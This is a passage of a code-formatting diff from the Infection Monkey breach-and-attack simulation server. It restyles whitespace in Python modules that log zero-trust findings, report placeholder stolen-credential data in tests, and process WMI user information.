- "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":["SUCCESSFUL", True], + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["SUCCESSFUL", True], }, { - "command":"COMMAND", - "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":["UNSUCCESFUL", False], + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["UNSUCCESFUL", False], }, { - "command":"COMMAND", - "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":[EXECUTION_WITHOUT_OUTPUT, True], + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], }, ], - "telem_category":"post_breach", + "telem_category": "post_breach", } original_telem_single_result = { - "data":{ - "command":"COMMAND", - "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":["", True], + "data": { + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": ["", True], }, - "telem_category":"post_breach", + "telem_category": "post_breach", } expected_telem_single_result = { - "data":[ + "data": [ { - "command":"COMMAND", - "hostname":"HOST", - "ip":"127.0.1.1", - "name":"PBA NAME", - "result":[EXECUTION_WITHOUT_OUTPUT, True], + "command": "COMMAND", + "hostname": "HOST", + "ip": "127.0.1.1", + "name": "PBA NAME", + "result": [EXECUTION_WITHOUT_OUTPUT, True], }, ], - "telem_category":"post_breach", + "telem_category": "post_breach", } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index 7cae75b8fa0..d2f154a9e42 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -15,9 +15,9 @@ def check_antivirus_existence(process_list_json, monkey_guid): current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) process_list_event = Event.create_event( - title="Process list", - message="Monkey on {} scanned the process list".format(current_monkey.hostname), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, ) events = [process_list_event] @@ -25,12 +25,12 @@ def check_antivirus_existence(process_list_json, monkey_guid): for process in av_processes: events.append( - Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process[1]["name"], json.dumps(process[1])), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, - ) + Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]["name"], json.dumps(process[1])), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) ) if len(av_processes) > 0: @@ -38,7 +38,7 @@ def check_antivirus_existence(process_list_json, monkey_guid): else: test_status = zero_trust_consts.STATUS_FAILED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events ) @@ -49,7 +49,7 @@ def filter_av_processes(process_list): process_name = process[1]["name"] # This is for case-insensitive `in`. Generator expression is to save memory. if process_name.upper() in ( - known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES + known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES ): av_processes.append(process) return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 0ea092aa631..6a3ec30aa29 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -14,22 +14,22 @@ def check_new_user_communication(current_monkey, success, message): status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - status=status, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success), - ], + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success), + ], ) def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( - title="Communicate as new user", - message="Monkey on {} tried to create a new user and communicate from it.".format( - current_monkey.hostname - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format( + current_monkey.hostname + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) return tried_to_communicate_event @@ -40,7 +40,7 @@ def get_result_event(current_monkey, message, success): ) return Event.create_event( - title="Communicate as new user", - message=message_format.format(current_monkey.hostname, message), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index a994499812a..d2634ae869e 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -21,82 +21,82 @@ def check_open_data_endpoints(telemetry_json): events = [ Event.create_event( - title="Scan Telemetry", - message="Monkey on {} tried to perform a network scan, the target was {}.".format( - current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json["timestamp"], + title="Scan Telemetry", + message="Monkey on {} tried to perform a network scan, the target was {}.".format( + current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json["timestamp"], ) ] for service_name, service_data in list(services.items()): events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Scanned service: {}.".format(service_name), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! " - "Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name == ES_SERVICE: found_elastic_search_server = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! " - "Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name == POSTGRESQL_SERVER_SERVICE_NAME: found_postgresql_server = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! " - "Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events, ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events, ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, - status=found_postgresql_server, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, + status=found_postgresql_server, + events=events, ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index 30b0a750956..9bf0f5de60d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -8,30 +8,30 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( - title="Exploit attempt", - message="Monkey on {} attempted to exploit {} using {}.".format( - current_monkey.hostname, target_ip, exploiter - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp, + title="Exploit attempt", + message="Monkey on {} attempted to exploit {} using {}.".format( + current_monkey.hostname, target_ip, exploiter + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp, ) ] status = zero_trust_consts.STATUS_PASSED if exploit_successful: events.append( - Event.create_event( - title="Exploit success!", - message="Monkey on {} successfully exploited {} using {}.".format( - current_monkey.hostname, target_ip, exploiter - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp, - ) + Event.create_event( + title="Exploit success!", + message="Monkey on {} successfully exploited {} using {}.".format( + current_monkey.hostname, target_ip, exploiter + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp, + ) ) status = zero_trust_consts.STATUS_FAILED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index 09940e3da19..d26e2bd697c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -34,17 +34,17 @@ def check_segmentation_violation(current_monkey, target_ip): target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): event = get_segmentation_violation_event( - current_monkey, source_subnet, target_ip, target_subnet + current_monkey, source_subnet, target_ip, target_subnet ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - events=[event], + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + events=[event], ) def is_segmentation_violation( - current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str + current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str ) -> bool: """ Checks is a specific communication is a segmentation violation. @@ -62,7 +62,7 @@ def is_segmentation_violation( if target_subnet_range.is_in_range(str(target_ip)): cross_segment_ip = get_ip_in_src_and_not_in_dst( - current_monkey.ip_addresses, source_subnet_range, target_subnet_range + current_monkey.ip_addresses, source_subnet_range, target_subnet_range ) return cross_segment_ip is not None @@ -70,17 +70,17 @@ def is_segmentation_violation( def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): return Event.create_event( - title="Segmentation event", - message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( - hostname=current_monkey.hostname, - source_ip=get_ip_if_in_subnet( - current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) - ), - source_seg=source_subnet, - target_ip=target_ip, - target_seg=target_subnet, + title="Segmentation event", + message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( + hostname=current_monkey.hostname, + source_ip=get_ip_if_in_subnet( + current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + source_seg=source_subnet, + target_ip=target_ip, + target_seg=target_subnet, + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) @@ -96,8 +96,8 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): this_monkey_subnets = [] for subnet in all_subnets: if ( - get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) - is not None + get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) + is not None ): this_monkey_subnets.append(subnet) @@ -111,17 +111,17 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): for subnet_pair in all_subnets_pairs_for_this_monkey: MonkeyZTFindingService.create_or_add_to_existing( - status=zero_trust_consts.STATUS_PASSED, - events=[get_segmentation_done_event(current_monkey, subnet_pair)], - test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED, + events=[get_segmentation_done_event(current_monkey, subnet_pair)], + test=zero_trust_consts.TEST_SEGMENTATION, ) def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( - title="Segmentation test done", - message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py index 9a2377fb9fd..aa67a51750c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py @@ -30,7 +30,7 @@ def test_create_findings_for_all_done_pairs(self): # There are 2 subnets in which the monkey is NOT zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED ) # Assert that there's only one finding with multiple events (one for each subnet) @@ -39,24 +39,24 @@ def test_create_findings_for_all_done_pairs(self): # This is a monkey from 2nd subnet communicated with 1st subnet. MonkeyZTFindingService.create_or_add_to_existing( - status=zero_trust_consts.STATUS_FAILED, - test=zero_trust_consts.TEST_SEGMENTATION, - events=[ - Event.create_event( - title="sdf", - message="asd", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) - ], + status=zero_trust_consts.STATUS_FAILED, + test=zero_trust_consts.TEST_SEGMENTATION, + events=[ + Event.create_event( + title="sdf", + message="asd", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ], ) zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED ) assert len(zt_seg_findings) == 1 zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED ) assert len(zt_seg_findings) == 1 diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index dadbc67290c..092fd67e261 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -14,19 +14,19 @@ def check_tunneling_violation(tunnel_telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"]) tunneling_events = [ Event.create_event( - title="Tunneling event", - message="Monkey on {hostname} tunneled traffic through {proxy}.".format( - hostname=current_monkey.hostname, proxy=tunnel_host_ip - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=tunnel_telemetry_json["timestamp"], + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json["timestamp"], ) ] MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, - events=tunneling_events, + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, + events=tunneling_events, ) MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/monkey_island/cc/services/tests/reporting/test_report.py index 1922686362a..65f5d275861 100644 --- a/monkey/monkey_island/cc/services/tests/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/tests/reporting/test_report.py @@ -5,10 +5,10 @@ from monkey_island.cc.services.reporting.report import ReportService TELEM_ID = { - "exploit_creds":ObjectId(b"123456789000"), - "system_info_creds":ObjectId(b"987654321000"), - "no_creds":ObjectId(b"112233445566"), - "monkey":ObjectId(b"665544332211"), + "exploit_creds": ObjectId(b"123456789000"), + "system_info_creds": ObjectId(b"987654321000"), + "no_creds": ObjectId(b"112233445566"), + "monkey": ObjectId(b"665544332211"), } MONKEY_GUID = "67890" USER = "user-name" @@ -23,20 +23,20 @@ # Below telem constants only contain fields relevant to current tests EXPLOIT_TELEMETRY_TELEM = { - "_id":TELEM_ID["exploit_creds"], - "monkey_guid":MONKEY_GUID, - "telem_category":"exploit", - "data":{ - "machine":{ - "ip_addr":VICTIM_IP, - "domain_name":VICTIM_DOMAIN_NAME, + "_id": TELEM_ID["exploit_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, }, - "info":{ - "credentials":{ - USER:{ - "username":USER, - "lm_hash":LM_HASH, - "ntlm_hash":NT_HASH, + "info": { + "credentials": { + USER: { + "username": USER, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, } } }, @@ -44,34 +44,34 @@ } SYSTEM_INFO_TELEMETRY_TELEM = { - "_id":TELEM_ID["system_info_creds"], - "monkey_guid":MONKEY_GUID, - "telem_category":"system_info", - "data":{ - "credentials":{ - USER:{ - "password":PWD, - "lm_hash":LM_HASH, - "ntlm_hash":NT_HASH, + "_id": TELEM_ID["system_info_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "system_info", + "data": { + "credentials": { + USER: { + "password": PWD, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, } } }, } NO_CREDS_TELEMETRY_TELEM = { - "_id":TELEM_ID["no_creds"], - "monkey_guid":MONKEY_GUID, - "telem_category":"exploit", - "data":{ - "machine":{ - "ip_addr":VICTIM_IP, - "domain_name":VICTIM_DOMAIN_NAME, + "_id": TELEM_ID["no_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, }, - "info":{"credentials":{}}, + "info": {"credentials": {}}, }, } -MONKEY_TELEM = {"_id":TELEM_ID["monkey"], "guid":MONKEY_GUID, "hostname":HOSTNAME} +MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} @pytest.fixture @@ -87,8 +87,8 @@ def test_get_stolen_creds_exploit(fake_mongo): stolen_creds_exploit = ReportService.get_stolen_creds() expected_stolen_creds_exploit = [ - {"origin":VICTIM_DOMAIN_NAME, "type":"LM hash", "username":USER}, - {"origin":VICTIM_DOMAIN_NAME, "type":"NTLM hash", "username":USER}, + {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, + {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, ] assert expected_stolen_creds_exploit == stolen_creds_exploit @@ -100,9 +100,9 @@ def test_get_stolen_creds_system_info(fake_mongo): stolen_creds_system_info = ReportService.get_stolen_creds() expected_stolen_creds_system_info = [ - {"origin":HOSTNAME, "type":"Clear Password", "username":USER}, - {"origin":HOSTNAME, "type":"LM hash", "username":USER}, - {"origin":HOSTNAME, "type":"NTLM hash", "username":USER}, + {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, + {"origin": HOSTNAME, "type": "LM hash", "username": USER}, + {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, ] assert expected_stolen_creds_system_info == stolen_creds_system_info diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py index 021acdd5cfb..c5e30dbd2bb 100644 --- a/monkey/monkey_island/cc/services/tests/test_config.py +++ b/monkey/monkey_island/cc/services/tests/test_config.py @@ -13,7 +13,7 @@ @pytest.fixture def config(monkeypatch): - monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda:IPS) + monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda: IPS) monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) config = ConfigService.get_default_config(True) return config diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py index c9ff785f5a4..f1eaf93683c 100644 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ b/monkey/monkey_island/cc/services/utils/bootloader_config.py @@ -1,11 +1,11 @@ MIN_GLIBC_VERSION = 2.14 SUPPORTED_WINDOWS_VERSIONS = { - "xp_or_lower":False, - "vista":False, - "vista_sp1":False, - "vista_sp2":True, - "windows7":True, - "windows7_sp1":True, - "windows8_or_greater":True, + "xp_or_lower": False, + "vista": False, + "vista_sp1": False, + "vista_sp2": True, + "windows7": True, + "windows7_sp1": True, + "windows8_or_greater": True, } diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index ec9ef8cd594..997fc815c53 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -22,7 +22,6 @@ def local_ips(): else: import fcntl - def local_ips(): result = [] try: @@ -34,12 +33,12 @@ def local_ips(): struct_bytes = max_possible * struct_size names = array.array("B", "\0" * struct_bytes) outbytes = struct.unpack( - "iL", - fcntl.ioctl( - s.fileno(), - 0x8912, # SIOCGIFCONF - struct.pack("iL", struct_bytes, names.buffer_info()[0]), - ), + "iL", + fcntl.ioctl( + s.fileno(), + 0x8912, # SIOCGIFCONF + struct.pack("iL", struct_bytes, names.buffer_info()[0]), + ), )[0] if outbytes == struct_bytes: max_possible *= 2 @@ -48,7 +47,7 @@ def local_ips(): namestr = names.tostring() for i in range(0, outbytes, struct_size): - addr = socket.inet_ntoa(namestr[i + 20: i + 24]) + addr = socket.inet_ntoa(namestr[i + 20 : i + 24]) if not addr.startswith("127"): result.append(addr) # name of interface is (namestr[i:i+16].split('\0', 1)[0] @@ -90,10 +89,10 @@ def get_subnets(): for interface in interfaces(): addresses = ifaddresses(interface).get(AF_INET, []) subnets.extend( - [ - ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network - for link in addresses - if link["addr"] != "127.0.0.1" - ] + [ + ipaddress.ip_interface(link["addr"] + "/" + link["netmask"]).network + for link in addresses + if link["addr"] != "127.0.0.1" + ] ) return subnets diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 7e9305b83d5..bf5f2211a2f 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -38,13 +38,13 @@ def get_by_keywords(keywords: List) -> NodeStates: ] if len(potential_groups) > 1: raise MultipleGroupsFoundException( - "Multiple groups contain provided keywords. " - "Manually build group string to ensure keyword order." + "Multiple groups contain provided keywords. " + "Manually build group string to ensure keyword order." ) elif len(potential_groups) == 0: raise NoGroupsFoundException( - "No groups found with provided keywords. " - "Check for typos and make sure group codes want to find exists." + "No groups found with provided keywords. " + "Check for typos and make sure group codes want to find exists." ) return potential_groups[0] diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 02ce075c5ce..98df5455b5f 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -7,14 +7,14 @@ class TestNodeGroups(TestCase): def test_get_group_by_keywords(self): self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND) self.assertEqual( - NodeStates.get_by_keywords(["running", "linux", "monkey"]), - NodeStates.MONKEY_LINUX_RUNNING, + NodeStates.get_by_keywords(["running", "linux", "monkey"]), + NodeStates.MONKEY_LINUX_RUNNING, ) self.assertEqual( - NodeStates.get_by_keywords(["monkey", "linux", "running"]), - NodeStates.MONKEY_LINUX_RUNNING, + NodeStates.get_by_keywords(["monkey", "linux", "running"]), + NodeStates.MONKEY_LINUX_RUNNING, ) with self.assertRaises(NoGroupsFoundException): NodeStates.get_by_keywords( - ["bogus", "values", "from", "long", "list", "should", "fail"] + ["bogus", "values", "from", "long", "list", "should", "fail"] ) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 7ea6d622560..ede0bc167a9 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -38,7 +38,7 @@ def process_and_handle_wmi_info(self): def update_critical_services(self): critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") - mongo.db.monkey.update({"_id":self.monkey_id}, {"$set":{"critical_services":[]}}) + mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) services_names_list = [str(i["Name"])[2:-1] for i in self.services] products_names_list = [str(i["Name"])[2:-2] for i in self.products] @@ -46,16 +46,16 @@ def update_critical_services(self): for name in critical_names: if name in services_names_list or name in products_names_list: mongo.db.monkey.update( - {"_id":self.monkey_id}, {"$addToSet":{"critical_services":name}} + {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} ) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { - "SID":str(entity_info["SID"])[4:-1], - "name":str(entity_info["Name"])[2:-1], - "machine_id":monkey_id, - "member_of":[], - "admin_on_machines":[], + "SID": str(entity_info["SID"])[4:-1], + "name": str(entity_info["Name"])[2:-1], + "machine_id": monkey_id, + "member_of": [], + "admin_on_machines": [], } if monkey_id: @@ -72,7 +72,7 @@ def add_users_to_collection(self): else: base_entity = self.build_entity_document(user, self.monkey_id) base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( - "ntlm_hash" + "ntlm_hash" ) base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") base_entity["secret_location"] = [] @@ -105,25 +105,25 @@ def create_group_user_connection(self): if "cimv2:Win32_UserAccount" in child_part: # domain user domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' + '",Name="' )[0] name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' + '",Name="' )[1][:-2] if "cimv2:Win32_Group" in child_part: # domain group domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( - '",Name="' + '",Name="' )[0] name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ - :-2 - ] + :-2 + ] for entity in self.info_for_mongo: if ( - self.info_for_mongo[entity]["name"] == name - and self.info_for_mongo[entity]["domain"] == domain_name + self.info_for_mongo[entity]["name"] == name + and self.info_for_mongo[entity]["domain"] == domain_name ): child_sid = self.info_for_mongo[entity]["SID"] else: @@ -141,12 +141,11 @@ def insert_info_to_mongo(self): if entity["machine_id"]: # Handling for local entities. mongo.db.groupsandusers.update( - {"SID":entity["SID"], 